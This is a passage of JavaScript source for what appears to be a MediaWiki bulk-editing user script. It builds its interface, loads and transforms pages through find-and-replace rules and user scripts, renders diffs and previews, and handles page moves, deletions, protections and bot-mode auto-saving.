// Create a textarea for the MediaWiki CM wrapper to properly bind to
var $libTextArea = $('<textarea>').appendTo(self.$editorWrapper);
var initCode = currentLibrary.code || "// All custom library functions defined here will be passed to the worker.\n// Special functions:\n// function wAwB_Pre(text, vars, shared) { return text; }\n// function wAwB_Post(text, vars, shared) { return text; }\n";
return mw.loader.using(['ext.CodeMirror', 'ext.CodeMirror.modes']).then(function(require) {
var CM = require('ext.CodeMirror');
var modes = require('ext.CodeMirror.modes');
self.cmInstance = new CM($libTextArea[0], modes.javascript());
self.cmInstance.initialize();
self.cmInstance.view.dispatch({
changes: {
from: 0,
insert: initCode
}
});
// Force CodeMirror to fill the wrapper
self.$editorWrapper.find('.cm-editor').css({
height: '100%'
});
}).catch(function(err) {
console.error("wAwB CM Init Error:", err);
});
}, this);
};
LibraryEditorDialog.prototype.getActionProcess = function(action) {
var dialog = this;
if (action === 'save') {
return new OO.ui.Process(function() {
var newCode = "";
if (dialog.cmInstance) {
newCode = dialog.cmInstance.view.state.doc.toString();
}
if (newCode.trim() === "") {
currentLibrary = {
name: null,
code: null
};
} else {
currentLibrary.code = newCode;
currentLibrary.name = "custom code";
}
updateLibUI();
dialog.close({
action: action
});
});
}
if (action === 'cancel' || !action) {
return new OO.ui.Process(function() {
dialog.close({
action: action
});
});
}
return LibraryEditorDialog.super.prototype.getActionProcess.call(this, action);
};
LibraryEditorDialog.prototype.getTeardownProcess = function(data) {
return LibraryEditorDialog.super.prototype.getTeardownProcess.call(this, data)
.next(function() {
if (this.cmInstance) {
try {
this.cmInstance.view.destroy();
} catch (e) {}
this.cmInstance = null;
}
}, this);
};
var windowManager = new OO.ui.WindowManager();
$('body').append(windowManager.$element);
var libDialog = new LibraryEditorDialog();
windowManager.addWindows([libDialog]);
btnEditLib.on('click', function() {
windowManager.openWindow(libDialog);
});
var togAdminEnable = new OO.ui.ToggleSwitchWidget({
value: false
});
var chkMovRedirect = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkMovTalk = new OO.ui.CheckboxInputWidget({
selected: true
});
var chkMovSub = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkDelTalk = new OO.ui.CheckboxInputWidget({
selected: true
});
var dropProtEdit = new OO.ui.DropdownInputWidget({
options: [{
data: '',
label: '(No Change)'
}, {
data: 'all',
label: 'All'
}, {
data: 'autoconfirmed',
label: 'Autoconfirmed'
}, {
data: 'sysop',
label: 'Sysop'
}]
});
var dropProtMove = new OO.ui.DropdownInputWidget({
options: [{
data: '',
label: '(No Change)'
}, {
data: 'all',
label: 'All'
}, {
data: 'autoconfirmed',
label: 'Autoconfirmed'
}, {
data: 'sysop',
label: 'Sysop'
}]
});
var inpProtExpiry = new OO.ui.TextInputWidget({
placeholder: 'infinite / 2 days / 12 hours'
});
if (CAN_MOVE || IS_ADMIN) {
var $adminPanel = $('<div>').append(
$('<div>').css({
'display': 'flex',
'align-items': 'center',
'justify-content': 'flex-start',
'gap': '10px'
}).append($('<span>').text('Enable page actions').css('font-weight', 'bold'), togAdminEnable.$element),
$('<hr>')
);
if (CAN_MOVE) {
$adminPanel.append(
$('<strong>').text('Move options:'), new OO.ui.FieldLayout(chkMovRedirect, {
label: 'Do not create redirect',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkMovTalk, {
label: 'Move talk page',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkMovSub, {
label: 'Move subpages',
align: 'inline'
}).$element, $('<br>')
);
}
if (IS_ADMIN) {
$adminPanel.append(
$('<strong>').text('Delete options:'), new OO.ui.FieldLayout(chkDelTalk, {
label: 'Delete talk page',
align: 'inline'
}).$element, $('<br>'),
$('<strong>').text('Protect options:'), new OO.ui.FieldLayout(dropProtEdit, {
label: 'Edit level',
align: 'top'
}).$element, new OO.ui.FieldLayout(dropProtMove, {
label: 'Move level',
align: 'top'
}).$element, new OO.ui.FieldLayout(inpProtExpiry, {
label: 'Expiry',
align: 'top'
}).$element
);
}
addSection('Page actions', $adminPanel);
}
var btnPower = new OO.ui.ButtonWidget({
label: 'Start',
icon: 'power',
flags: ['primary', 'progressive'],
title: 'Start editing',
accessKey: 'a'
});
var btnDiff = new OO.ui.ButtonWidget({
label: 'Diff',
icon: 'update',
title: 'Show diff',
accessKey: 'd'
});
var btnSkip = new OO.ui.ButtonWidget({
label: 'Next',
icon: 'next',
title: 'Skip to next page',
accessKey: 'n',
disabled: true
});
var btnPreview = new OO.ui.ButtonWidget({
label: 'Preview',
icon: 'article',
title: 'Preview page',
accessKey: 'p'
});
var btnSave = new OO.ui.ButtonWidget({
label: 'Save',
icon: 'upload',
flags: 'progressive',
title: 'Save edit',
accessKey: 's',
disabled: true
});
var inputSummary = new OO.ui.TextInputWidget({
placeholder: '',
value: '',
title: 'Enter edit summary',
accessKey: 'b'
});
var $sumLayout = new OO.ui.FieldLayout(inputSummary, {
label: 'Edit summary',
align: 'top'
}).$element;
$sumLayout.css('margin-bottom', '6px');
var listTextarea = new OO.ui.MultilineTextInputWidget({
rows: 15,
classes: ['wa-page-list-raw']
});
var btnSort = new OO.ui.ButtonWidget({
icon: 'sortVertical',
title: 'Sort list',
framed: false
});
var btnDedup = new OO.ui.ButtonWidget({
icon: 'funnel',
title: 'Remove duplicates',
framed: false
});
var btnClear = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Clear list',
framed: false
});
var btnPreParse = new OO.ui.ButtonWidget({
label: 'Pre-parse',
title: 'Process list in background',
icon: 'robot',
framed: false
});
var $listCounter = $('<span>').addClass('wa-list-counter').text('0 pages');
var togAutoSave = new OO.ui.ToggleSwitchWidget({
value: false
});
var txtAutoDelay = new OO.ui.TextInputWidget({
value: '10'
});
var $botRow = $('<div>').addClass('wa-bot-row').hide();
if (PERMS.allowBot) {
$botRow.show().append($('<span>').css('font-weight', 'bold').text('Bot mode: '), togAutoSave.$element, $('<span>').text('Delay (s):'), txtAutoDelay.$element.css('max-width', '40px'));
togAutoSave.on('change', function(v) {
if (v) txtAutoDelay.setValue('10');
});
}
var sortAsc = true;
var $procHeader = $('<div>').addClass('wa-section-header').attr('id', 'wa-proc-header').css({
'display': 'flex',
'justify-content': 'space-between',
'align-items': 'center'
});
var $procTitle = $('<span>').attr('id', 'wa-proc-title').text('Processing');
var chkMinor = new OO.ui.CheckboxInputWidget({
selected: true,
title: 'Minor edit'
});
var $minorLayout = new OO.ui.FieldLayout(chkMinor, {
label: 'm',
align: 'inline',
title: 'Minor edit'
});
$minorLayout.$element.css({
'margin-right': '15px',
'font-weight': 'normal'
});
$procHeader.append($procTitle, $minorLayout.$element);
var $procContent = $('<div>').attr('id', 'wa-proc-content').append(
$sumLayout, $botRow,
$('<div>').addClass('wa-grid-container').append(
$('<div>').addClass('wa-grid-col').append(btnPower.$element),
$('<div>').addClass('wa-grid-col').append(btnDiff.$element, btnSkip.$element),
$('<div>').addClass('wa-grid-col').append(btnPreview.$element, btnSave.$element)
),
$('<div>').addClass('wa-toolbar').append($listCounter, btnSort.$element, btnDedup.$element, btnClear.$element),
listTextarea.$element,
$('<div>').css({
'margin-top': '5px'
}).append(btnPreParse.$element)
);
$content.append($procHeader, $procContent);
var configWidgets = [
srcSelect, srcInput, srcInputUser, srcInputStartDate, srcInputEndDate, srcDropProp,
chkCatPages, chkCatSub, chkCatFile, chkLinkWiki, chkLinkTrans, chkLinkImg, dropLinkRedir, chkLinkToRedir,
btnAdd, redirMode, chkSkipNoChange, radSkipExist,
inpSkipContains, togSkipContainsRegex, inpSkipNotContains, togSkipNotContainsRegex, inpSkipCategories, inpSkipNotCategories,
dropProtMode, radTargetSet, inpTemplateFilter, btnAddRule,
txtPreScript, txtPostScript, chkMovRedirect, chkMovTalk, chkMovSub, chkDelTalk, dropProtEdit, dropProtMove, inpProtExpiry,
togWikiTypos, btnLoadLocal, btnClearLocal, btnPreParse
];
// =====================================================================
// 5. FUNCTION DEFINITIONS (Core Logic)
// =====================================================================
function checkSummaryWarning() {
var val = inputSummary.getValue();
var isBlank = !val || val.trim() === "";
if (isBlank || hasNewSources) inputSummary.$element.addClass('wa-summary-warning');
else inputSummary.$element.removeClass('wa-summary-warning');
}
function renderCurrentView() {
if (currentViewMode === 'preview') renderPreview();
else renderDiff();
}
function toggleConfig(isLocked) {
configWidgets.forEach(function(w) {
if (w instanceof OO.ui.TextInputWidget || w instanceof OO.ui.MultilineTextInputWidget) {
w.setReadOnly(isLocked);
w.$element.css('opacity', isLocked ? 0.8 : 1);
} else {
w.setDisabled(isLocked);
}
});
$nsSelect.prop('disabled', isLocked);
for (var key in protCheckboxes) protCheckboxes[key].setDisabled(isLocked);
rulesRegistry.forEach(function(r) {
r.find.setReadOnly(isLocked);
r.rep.setReadOnly(isLocked);
r.regex.setDisabled(isLocked);
r.flags.setReadOnly(isLocked);
r.enable.setDisabled(isLocked);
r.del.setDisabled(isLocked);
r.btnFunc.setDisabled(isLocked || !r.regex.getValue());
r.btnUp.setDisabled(isLocked || rulesRegistry.indexOf(r) === 0);
r.btnDown.setDisabled(isLocked || rulesRegistry.indexOf(r) === rulesRegistry.length - 1);
});
if (CAN_MOVE || IS_ADMIN) togAdminEnable.setDisabled(isLocked);
btnLoadLib.setDisabled(isLocked);
btnRemoveLib.setDisabled(isLocked || !currentLibrary.code);
btnEditLib.setDisabled(isLocked);
btnLoadLocal.setDisabled(isLocked);
btnClearLocal.setDisabled(isLocked || localTypos.length === 0);
}
function updateListCount() {
var val = listTextarea.getValue();
var count = val.trim() ? val.split('\n').filter(function(l) {
var line = l.trim();
return line !== "" && !line.startsWith("####");
}).length : 0;
$listCounter.text(count + ' pages');
}
listTextarea.on('change', updateListCount);
function updateDirtyState() {
if (isRunning && currentTitle && Editor.getValue() !== originalWikitext) $editorHeader.addClass('wa-dirty');
else $editorHeader.removeClass('wa-dirty');
}
var notificationWatermark = 0;
var lastNotifCheck = 0;
function checkNotifications(notifList) {
if ((ON_NOTIFY !== "warn" && ON_NOTIFY !== "stop")|| !notifList || notifList.length === 0) return false;
var triggerFound = false;
var newWatermark = notificationWatermark;
for (var i = 0; i < notifList.length; i++) {
var n = notifList[i];
var currentId = parseInt(n.id, 10) || 0;
if (currentId > newWatermark) {
newWatermark = currentId;
}
if (currentId > notificationWatermark && (n.type === 'edit-user-talk' || n.type === 'reverted')) {
triggerFound = true;
}
}
notificationWatermark = newWatermark;
if (triggerFound) {
$('.wa-editor-header').addClass('wa-header-alert');
if (ON_NOTIFY === "stop") {
var halt = confirm("A new talk page message or revert was detected!\n\nClick OK to stop the processing queue.\nClick Cancel to acknowledge and continue.");
if (halt) {
btnPower.emit('click');
return true; // Signals the save loop to halt
} else {
$('.wa-editor-header').removeClass('wa-header-alert');
}
}
}
return false;
}
function removeTopLine() {
var l = listTextarea.getValue().split('\n');
l.shift();
listTextarea.setValue(l.join('\n'));
updateListCount();
}
function updateInterfaceMode() {
var isAdminMode = togAdminEnable.getValue();
var pageLoaded = !!currentTitle;
btnSave.setDisabled(isAdminMode || !pageLoaded || !PERMS.canSave);
btnSkip.setDisabled(!pageLoaded);
btnPreview.setDisabled(!pageLoaded);
btnDiff.setDisabled(isAdminMode || !pageLoaded);
Editor.setDisabled(isAdminMode || !pageLoaded);
if (CAN_MOVE) {
var allowAdmin = isAdminMode && currentPageExists;
btnAdminMove.setDisabled(!(allowAdmin && currentVars['$xA']));
if (currentVars['$xA']) btnAdminMove.setTitle('Move page to ' + currentVars['$xA']);
else btnAdminMove.setTitle('Move page to $xA (Variable not set)');
}
if (IS_ADMIN) {
var allowAdmin = isAdminMode && currentPageExists;
btnAdminDel.setDisabled(!allowAdmin);
btnAdminProt.setDisabled(!allowAdmin);
}
}
function renderDiff() {
captureViewScroll();
$visualOut.css('opacity', '0.7');
var currentText = Editor.getValue();
new mw.Api().post({
'action': 'compare',
fromtitle: currentTitle,
toslots: 'main',
'totext-main': currentText,
slots: 'main',
topst: window.wa_diffPST ? true : undefined,
prop: 'diff',
formatversion: 2
}).then(function(data) {
var diffBody = data.compare && data.compare.bodies && data.compare.bodies.main;
if (diffBody) {
$visualOut.html('<h4>Diff: ' + currentTitle + '</h4><table class="diff"><colgroup><col class="diff-marker"><col class="diff-content"><col class="diff-marker"><col class="diff-content"></colgroup><tbody>' + diffBody + '</tbody></table>');
processDiffTable();
} else {
$visualOut.html('<div style="color:green; text-align:center; padding-top:20px;">No Changes detected</div>');
}
restoreViewScroll(currentTitle, 'diff');
$visualOut.css('opacity', '1');
});
}
function processDiffTable() {
var rightLineNum = 0;
$visualOut.find('table.diff tr').each(function() {
var $tr = $(this);
var $linenos = $tr.find('td.diff-lineno');
if ($linenos.length > 0) {
var txt = $linenos.last().text();
var m = txt.match(/(\d+)/);
if (m) rightLineNum = parseInt(m[1]);
return;
}
if ($tr.find('.diff-addedline').length > 0 || $tr.find('.diff-context').length > 0) {
$tr.attr('data-line', rightLineNum);
$tr.css('cursor', 'pointer').attr('title', 'Ctrl+click:COPY | Click:JUMP | Double click:SELECT');
rightLineNum++;
}
});
// Single click: jump. Ctrl+click: copy
$visualOut.on('click', 'tr[data-line]', function(e) {
var $row = $(this);
// copy
if (e.ctrlKey || e.metaKey) {
e.preventDefault();
var $clickedTd = $(e.target).closest('td');
var cellIndex = $clickedTd.index(); // 0-1 left side, 2-3 right side
var $targetCell;
if (cellIndex <= 1) {
$targetCell = $row.find('td.diff-deletedline, td.diff-context').first(); // left half
} else {
$targetCell = $row.find('td.diff-addedline, td.diff-context').last(); // right half
}
if ($targetCell.length === 0 || $.trim($targetCell.text()) === '') return;
var plainText = $targetCell.text();
navigator.clipboard.writeText(plainText).then(function() {
// Flash the cell green
$targetCell.addClass('wa-flash-success');
setTimeout(function() {
$targetCell.removeClass('wa-flash-success');
}, 400);
});
return; // Exit early, prevent jump
}
// jump
var lineNum = parseInt($row.attr('data-line'));
Editor.scrollToLine(lineNum);
});
// Double click: jump and select
$visualOut.on('dblclick', 'tr[data-line]', function(e) {
if (e.ctrlKey || e.metaKey) return;
if (window.getSelection) {
window.getSelection().removeAllRanges();
}
var $row = $(this);
var lineNum = parseInt($row.attr('data-line'));
Editor.scrollToLine(lineNum, true);
});
}
function renderPreview() {
captureViewScroll();
$visualOut.css('opacity', '0.7');
new mw.Api().post({
action: 'parse',
title: currentTitle,
text: Editor.getValue(),
prop: 'text|categorieshtml|modules|jsconfigvars',
useskin: mw.config.get('skin'),
disablelimitreport: true,
pst: true,
contentmodel: 'wikitext'
}).then(function(data) {
if (data.parse && data.parse.text) {
var $prev = $('<div>').html(data.parse.text['*']);
if (data.parse.categorieshtml) $prev.append(data.parse.categorieshtml['*']);
$prev.find('a').attr('target', '_blank');
$visualOut.empty().append($prev);
mw.loader.using(data.parse.modules.concat(data.parse.modulestyles, data.parse.modulescripts), function() {
mw.hook('wikipage.content').fire($('.wa-visual-output .mw-parser-output'));
});
restoreViewScroll(currentTitle, 'preview');
$visualOut.css('opacity', '1');
}
}).catch(function(err) {
$visualOut.html('Error generating preview.');
alert("Preview failed: " + err);
});
}
async function transformPageText(rawText, title, config) {
var filters = config.filters;
if (filters) {
var check = function(text, rule) {
if (!rule || !rule.val) return false;
if (rule.regex) {
try {
return new RegExp(rule.val, 'mu').test(text);
} catch (e) {
return false;
}
}
return text.indexOf(rule.val) !== -1;
};
if (filters.skipContains && filters.skipContains.val && check(rawText, filters.skipContains)) {
return {
skipped: true,
reason: 'Contains: ' + filters.skipContains.val
};
}
if (filters.skipNotContains && filters.skipNotContains.val && !check(rawText, filters.skipNotContains)) {
return {
skipped: true,
reason: 'Missing: ' + filters.skipNotContains.val
};
}
}
var mode = config.mode;
var inputs = [];
var compiledSpecies = null;
if (config.templateFilter) {
var tFilter = config.templateFilter;
if (tFilter[0] === "^") tFilter = "^\\{\\{\\s*" + tFilter.slice(1);
else tFilter = "\\{\\{\\s*" + tFilter;
compiledSpecies = tFilter + "(?=\\s*[|}\\n])";
}
var skeleton = PageProtector.protect(rawText, mode, config.excludes, compiledSpecies);
if (mode === 'target') inputs = PageProtector.store;
else inputs = [skeleton];
var combinedRules = rulesRegistry.filter(r => r.isActive()).map(r => ({
find: r.find.getValue(),
replace: r.rep.getValue(),
regex: r.regex.getValue(),
flags: r.flags.getValue(),
enabled: r.isActive(),
isFunc: r.isFunc()
}));
if (togWikiTypos.getValue()) combinedRules = combinedRules.concat(wikiTypos);
if (localTypos.length > 0) combinedRules = combinedRules.concat(localTypos);
var payload = {
texts: inputs,
vars: config.vars,
preCode: getUserCode(txtPreScript, 'wAwB_Pre'),
libraryCode: currentLibrary.code,
rules: combinedRules,
postCode: getUserCode(txtPostScript, 'wAwB_Post')
};
var result = await WorkerEngine.run(payload);
if (result.skipped) return {
skipped: true,
reason: result.reason
};
var finalText = "";
if (mode === 'target') {
PageProtector.store = result.texts;
finalText = PageProtector.restore(skeleton);
} else {
finalText = PageProtector.restore(result.texts[0]);
}
return {
skipped: false,
text: finalText,
summaryAppend: result.summaryAppend,
summaryOverride: result.summaryOverride
};
}
async function processPageContent() {
try {
setStatus('Processing...', 'working');
var mode = dropProtMode.getValue();
var activeConfig = {
mode: mode,
excludes: {},
templateFilter: inpTemplateFilter.getValue().trim(),
vars: currentVars,
filters: {
skipContains: {
val: inpSkipContains.getValue(),
regex: togSkipContainsRegex.getValue()
},
skipNotContains: {
val: inpSkipNotContains.getValue(),
regex: togSkipNotContainsRegex.getValue()
}
}
};
if (mode === 'protect') {
for (var k in protCheckboxes) activeConfig.excludes[k] = protCheckboxes[k].isSelected();
} else {
var sel = radTargetSet.findSelectedItem();
activeConfig.excludes = sel ? sel.getData() : null;
}
var res = await transformPageText(originalWikitext, currentTitle, activeConfig);
if (res.skipped) {
removeTopLine();
loadNextPage();
return;
}
currentPageSummaryAppend = res.summaryAppend || "";
currentPageSummaryOverride = res.summaryOverride || null;
updateSummaryPreview(inputSummary.getValue());
if (chkSkipNoChange.isSelected() && res.text === originalWikitext) {
removeTopLine();
loadNextPage();
return;
}
setStatus('Ready');
Editor.setValue(res.text);
if (CAN_MOVE || IS_ADMIN) updateInterfaceMode();
else {
Editor.setDisabled(false);
btnSave.setDisabled(!PERMS.canSave);
btnSkip.setDisabled(false);
btnPreview.setDisabled(false);
btnDiff.setDisabled(false);
}
updateDirtyState();
renderCurrentView();
if (PERMS.allowBot && togAutoSave.getValue()) {
var delay = Math.max(0, parseInt(txtAutoDelay.getValue(), 10) || 0) * 1000;
setStatus('Auto-save in ' + (delay / 1000) + 's...', 'working');
if (autoSaveTimer) clearTimeout(autoSaveTimer);
autoSaveTimer = setTimeout(function() {
if (isRunning && PERMS.canSave) {
btnSave.emit('click');
}
}, delay);
}
} catch (e) {
setStatus('Error', 'error');
alert(e);
btnPower.emit('click');
}
}
async function runPreParseBatch() {
// 1. Toggle / Stop Logic
if (isRunning) {
isRunning = false;
setStatus('Stopping...', 'working');
btnPreParse.setLabel('Pre-parse');
return;
}
// 2. Start & Deduplicate
var currentVal = listTextarea.getValue();
var cleanVal = getDeduplicatedList(currentVal).join('\n');
listTextarea.setValue(cleanVal);
updateListCount();
isRunning = true;
toggleUI(true);
// 3. Lock UI
toggleUI(true);
btnSkip.setDisabled(true);
btnDiff.setDisabled(true);
btnPreview.setDisabled(true);
btnSave.setDisabled(true);
Editor.setDisabled(true);
btnPreParse.setLabel('Stop pre-parse');
// Inject STOP marker if not present
var currentList = listTextarea.getValue().split('\n');
if (!currentList.includes('####STOP')) {
currentList.push('####STOP');
listTextarea.setValue(currentList.join('\n'));
}
// Gather Config
var activeConfig = {
mode: dropProtMode.getValue(),
excludes: {},
templateFilter: inpTemplateFilter.getValue().trim(),
vars: {},
filters: {
skipContains: {
val: inpSkipContains.getValue(),
regex: togSkipContainsRegex.getValue()
},
skipNotContains: {
val: inpSkipNotContains.getValue(),
regex: togSkipNotContainsRegex.getValue()
}
}
};
if (activeConfig.mode === 'protect') {
for (var k in protCheckboxes) activeConfig.excludes[k] = protCheckboxes[k].isSelected();
} else {
var sel = radTargetSet.findSelectedItem();
activeConfig.excludes = sel ? sel.getData() : null;
}
setStatus('Pre-parsing...', 'working');
while (isRunning) {
var lines = listTextarea.getValue().split('\n');
var batchTitles = [];
var stopFound = false;
for (var i = 0; i < lines.length; i++) {
var line = lines[i];
if (line === '####STOP') {
stopFound = true;
break;
}
if (line && !line.startsWith('####')) {
var parts = line.split('|');
batchTitles.push({
fullLine: line,
title: parts[0],
vars: parts.slice(1)
});
}
if (batchTitles.length >= 50) break;
}
if (batchTitles.length === 0) {
if (stopFound) setStatus('Pre-parse complete');
else setStatus('List empty');
break;
}
$listCounter.text('Fetching ' + batchTitles.length + '...');
var badCats = inpSkipCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var reqCats = inpSkipNotCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var api = new mw.Api();
try {
var data = await api.get({
action: 'query',
prop: 'revisions' + (badCats.length + reqCats.length > 0 ? '|categories' : ''),
titles: batchTitles.map(t => t.title).join('|'),
rvprop: 'content',
rvslots: 'main',
redirects: 1,
cllimit: 'max'
});
var pageMap = {};
if (data.query && data.query.pages) Object.values(data.query.pages).forEach(p => pageMap[p.title] = p);
var redirMap = {};
if (data.query && data.query.redirects) data.query.redirects.forEach(r => redirMap[r.from] = r.to);
var keptLines = [];
for (var k = 0; k < batchTitles.length; k++) {
var item = batchTitles[k];
var lookupTitle = redirMap[item.title] || item.title;
var page = pageMap[lookupTitle];
if (!page || page.missing || page.invalid || !page.revisions || !page.revisions[0]) {
console.warn("Skipping invalid/missing page:", item.title);
continue;
}
var pageCats = new Set((page.categories || []).map(c => c.title.replace(/^[^:]+:/, '').trim()));
if (badCats.some(c => pageCats.has(c))) continue; // Skip
if (reqCats.length > 0 && !reqCats.some(c => pageCats.has(c))) continue; // Skip
var rawText = page.revisions[0].slots.main['*'];
activeConfig.vars = {
'$xx': item.title
};
item.vars.forEach((v, idx) => activeConfig.vars['$x' + String.fromCharCode(65 + idx)] = v);
var res = await transformPageText(rawText, item.title, activeConfig);
// UPDATED LOGIC: Respect "Skip if no change" checkbox
if (!res.skipped && (!chkSkipNoChange.isSelected() || res.text !== rawText)) {
keptLines.push(item.fullLine);
}
}
var freshLines = listTextarea.getValue().split('\n');
var stopIndex = -1;
for (var x = 0; x < freshLines.length; x++) {
if (freshLines[x] === '####STOP') {
stopIndex = x;
break;
}
}
if (stopIndex > -1) {
var topChunk = freshLines.slice(0, stopIndex);
var botChunk = freshLines.slice(stopIndex + 1);
var processedSet = new Set(batchTitles.map(t => t.fullLine));
var newTop = topChunk.filter(l => !processedSet.has(l));
var newList = newTop.concat(['####STOP']).concat(botChunk).concat(keptLines);
listTextarea.setValue(newList.join('\n'));
updateListCount();
}
} catch (e) {
console.error(e);
setStatus('Batch error: ' + e, 'error');
break;
}
}
isRunning = false;
toggleUI(false);
WorkerEngine.destroy();
btnPreParse.setLabel('Pre-parse');
if (listTextarea.getValue().startsWith('####STOP')) setStatus('Pre-parse done!');
else setStatus('Stopped');
}
btnPreParse.on('click', runPreParseBatch);
function loadNextPage() {
if (!isRunning) return;
var allLines = listTextarea.getValue().split('\n');
var listChanged = false;
var stopCommand = false;
while (allLines.length > 0) {
var line = allLines[0];
if (line === '####STOP') {
stopCommand = true;
break;
}
if (line.startsWith('####') || line === "") {
allLines.shift();
listChanged = true;
} else {
break;
}
}
if (listChanged) {
listTextarea.setValue(allLines.join('\n'));
updateListCount();
}
if (stopCommand) {
btnPower.emit('click');
setStatus("Stopped by ####STOP");
return;
}
if (allLines.length === 0) {
btnPower.emit('click');
setStatus("Done!");
return;
}
var raw = allLines[0];
var parts = raw.split('|');
currentTitle = parts[0].trim();
baseRevId = 0;
originalWikitext = "";
if (!currentTitle) {
removeTopLine();
loadNextPage();
return;
}
currentVars = {};
currentVars['$xx'] = currentTitle;
for (var i = 1; i < parts.length; i++) currentVars['$x' + String.fromCharCode(64 + i)] = parts[i];
currentPageSummaryAppend = "";
currentPageSummaryOverride = null;
updateSummaryPreview(inputSummary.getValue());
setStatus('Loading...', 'working');
btnSave.setDisabled(true);
btnPreview.setDisabled(true);
btnDiff.setDisabled(true);
btnSkip.setDisabled(true);
Editor.setDisabled(true);
$titleLink.attr('href', mw.util.getUrl(currentTitle)).text(currentTitle);
$editorHeader.removeClass('wa-dirty');
Editor.setValue('Loading...');
$infoContainer.empty();
currentPageExists = false;
btnWatch.setDisabled(true);
btnManualEdit.setDisabled(true);
if (CAN_MOVE || IS_ADMIN) updateInterfaceMode();
var badCats = inpSkipCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var reqCats = inpSkipNotCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var api = new mw.Api();
var params = {
action: 'query',
prop: 'revisions|info' + (badCats.length + reqCats.length > 0 ? '|categories' : ''),
titles: currentTitle,
rvprop: 'content|timestamp|ids',
rvslots: 'main',
inprop: 'watched',
cllimit: 'max'
};
var now = Date.now();
var shouldCheckNotifs = (ON_NOTIFY === "warn" || ON_NOTIFY === "stop") && (now - lastNotifCheck > ON_NOTIFY_FREQ);
if (shouldCheckNotifs) {
params.meta = 'notifications';
params.notprop = 'list';
params.notsections = 'alert';
params.notlimit = 4;
lastNotifCheck = now;
}
var rMode = redirMode.findSelectedItem().getData();
if (rMode === 'follow') params.redirects = 1;
return api.get(params).then(async function(data) {
// piggyback notification check
if (data.query && data.query.notifications && data.query.notifications.list) {
var stopped = checkNotifications(data.query.notifications.list);
if (stopped) return; // exit before loading the page content
}
var pid = Object.keys(data.query.pages)[0];
var page = data.query.pages[pid];
currentPageExists = !page.missing && !page.invalid;
var pageCats = new Set((page.categories || []).map(c => c.title.replace(/^[^:]+:/, '').trim()));
if (badCats.some(c => pageCats.has(c))) {
setStatus('Skip: cat blacklist');
removeTopLine();
loadNextPage();
return;
}
if (reqCats.length > 0 && !reqCats.some(c => pageCats.has(c))) {
setStatus('Skip: cat whitelist');
removeTopLine();
loadNextPage();
return;
}
if (rMode === 'follow' && data.query.redirects) {
currentTitle = page.title;
$titleLink.attr('href', mw.util.getUrl(currentTitle)).text(currentTitle);
mw.notify('Redirect followed to: ' + currentTitle);
}
if (rMode === 'skip' && page.redirect !== undefined) {
removeTopLine();
loadNextPage();
return;
}
var skipMode = radSkipExist.findSelectedItem().getData();
if (pid === "-1") {
if (skipMode === 'missing') {
removeTopLine();
loadNextPage();
return;
}
originalWikitext = "";
baseRevId = 0;
} else {
if (skipMode === 'exists') {
removeTopLine();
loadNextPage();
return;
}
originalWikitext = page.revisions[0].slots.main['*'];
baseRevId = page.revisions[0].revid;
}
if (page.revisions && page.revisions.length > 0) {
var rev = page.revisions[0];
var ts = new Date(rev.timestamp).toISOString().replace('T', ' ').substring(0, 16);
$infoContainer.empty().append('Last edit: ' + ts + ' | ', $('<a>').attr('href', mw.util.getUrl(currentTitle, {
action: 'history'
})).attr('target', '_blank').text('history'));
}
btnWatch.setDisabled(!currentPageExists);
btnManualEdit.setDisabled(!currentPageExists);
if (page.watched !== undefined) btnWatch.setIcon('unStar');
else btnWatch.setIcon('star');
if (CAN_MOVE || IS_ADMIN) {
updateInterfaceMode();
if (togAdminEnable.getValue()) {
Editor.setValue(originalWikitext);
renderCurrentView();
setStatus('Ready (Page actions)');
return;
}
}
processPageContent();
}).catch(function(e) {
setStatus('API error', 'error');
alert('Load error: ' + e);
btnPower.emit('click');
});
}
async function fetchWithContinue(api, params) {
var allTitles = new Set();
var continueToken = {};
var safetyLimit = FETCH_SAFETY_LIMIT;
var count = 0;
isFetching = true;
btnAdd.setLabel('Cancel fetch');
$fetchStatus.text('Fetching...').show();
try {
while (isFetching && count < safetyLimit) {
var merged = Object.assign({}, params, continueToken);
var data = await api.get(merged);
var batch = [];
if (data.watchlistraw) batch = data.watchlistraw;
else if (data.query) {
if (data.query.pages) batch = Object.values(data.query.pages);
else if (data.query.categorymembers) batch = data.query.categorymembers;
else if (data.query.backlinks) batch = data.query.backlinks;
else if (data.query.embeddedin) batch = data.query.embeddedin;
else if (data.query.imageusage) batch = data.query.imageusage;
else if (data.query.search) batch = data.query.search;
else if (data.query.allpages) batch = data.query.allpages;
else if (data.query.usercontribs) batch = data.query.usercontribs;
else if (data.query.pageswithprop) batch = data.query.pageswithprop;
}
if (batch.length > 0) {
batch.forEach(item => {
if (item.title) allTitles.add(item.title);
});
count = allTitles.size;
$fetchStatus.text('Fetched ' + count + '...');
}
if (data.continue) continueToken = data.continue;
else break;
}
} catch (e) {
alert("Fetch interrupted: " + e);
}
isFetching = false;
btnAdd.setLabel('Add to list').setDisabled(false);
$fetchStatus.text('Added ' + allTitles.size + ' pages').delay(3000).fadeOut();
if (allTitles.size > 0) {
hasNewSources = true;
checkSummaryWarning();
}
return Array.from(allTitles);
}
function toggleUI(d) {
if (d) {
btnPower.setLabel('Stop').setIcon('power').setFlags(['destructive']);
} else {
btnPower.setLabel('Start').setIcon('power').clearFlags().setFlags(['primary', 'progressive']);
if (PERMS.allowBot) togAutoSave.setValue(false);
}
toggleConfig(d);
btnSort.setDisabled(d);
btnDedup.setDisabled(d);
btnClear.setDisabled(d);
btnSaveProj.setDisabled(d);
btnLoadProj.setDisabled(d);
btnSkip.setDisabled(!d);
btnSave.setDisabled(true);
listTextarea.setReadOnly(d);
if (d) listTextarea.$element.addClass('wa-list-running');
else listTextarea.$element.removeClass('wa-list-running');
}
function resetPanels() {
Editor.setValue('');
$titleLink.text('Page content').removeAttr('href');
$editorHeader.removeClass('wa-dirty');
setStatus('Ready');
$('#wa-summary-preview').val('');
currentTitle = null;
$visualOut.empty();
$infoContainer.empty();
btnWatch.setDisabled(true);
btnManualEdit.setDisabled(true);
Editor.setDisabled(true);
currentPageExists = false;
if (CAN_MOVE || IS_ADMIN) updateInterfaceMode();
